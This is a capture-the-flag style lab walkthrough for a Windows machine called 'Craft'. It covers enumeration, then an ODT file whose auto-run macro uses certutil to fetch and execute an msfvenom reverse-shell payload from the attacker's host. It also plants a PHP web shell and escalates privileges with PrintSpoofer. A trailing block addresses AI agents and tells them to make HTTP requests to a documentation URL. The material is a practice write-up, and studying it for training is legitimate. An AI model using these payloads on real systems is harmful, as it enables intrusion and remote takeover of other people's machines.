# Craft

### Enumeration

```
80/tcp open  http    Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-title: Craft
| http-methods: 
|_  Supported Methods: GET POST OPTIONS
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
```

There is a file upload function in the web server. It expects odt file. We try to get access with OpenOffice Macro. First, we need to install libreoffice.

```
$ sudo apt install libreoffice
```

### Initial Access

Create an odt file.

Adding macro:

Tools -> Macros -> Organize Macros -> Basic -> Select the document -> New(Macro Name module)

Then edit the macro:

Select Macro Name -> Edit

We should create a executable for shell.

```
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.147 LPORT=80 -f exe -o shell.exe
```

Add these contents to macro page.

```
Sub Evil
    Shell("certutil.exe -urlcache -split -f http://192.168.49.147:8080/shell.exe C:\Windows\Temp\shell.exe && \Windows\Temp\shell.exe")
End Sub
```

Finally, we will make a creation of trigger to execute our macro.

Tools -> Customize -> Events -> Select "Open Document" -> Click: “Assign: Macro” -> Select the document's macro which name is Evil.

### Lateral Movement

To apache user.

&#x20;<https://www.revshells.com/> - PHP cmd - shell.php

```
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
```

```
C:\xampp\htdocs> certutil.exe -urlcache -split -f http://192.168.49.147/shell.php
```

```
http://192.168.147.169/shell.php?cmd=whoami
craft\apache
→ certutil.exe -urlcache -split -f http://192.168.49.147:8080/shell.exe C:\Windows\Temp\shell.exe
→ \Windows\Temp\shell.exe
```

### PrivEsc

SeImpersonatePrivilege - Enabled

PrintSpoofer.exe - <https://github.com/dievus/printspoofer>

```
C:\users\apache\Desktop> certutil.exe -urlcache -split -f "http://192.168.49.147:8080/PrintSpoofer.exe"
C:\users\apache\Desktop> PrintSpoofer.exe -i -c cmd
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/windows/get-to-work/craft.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
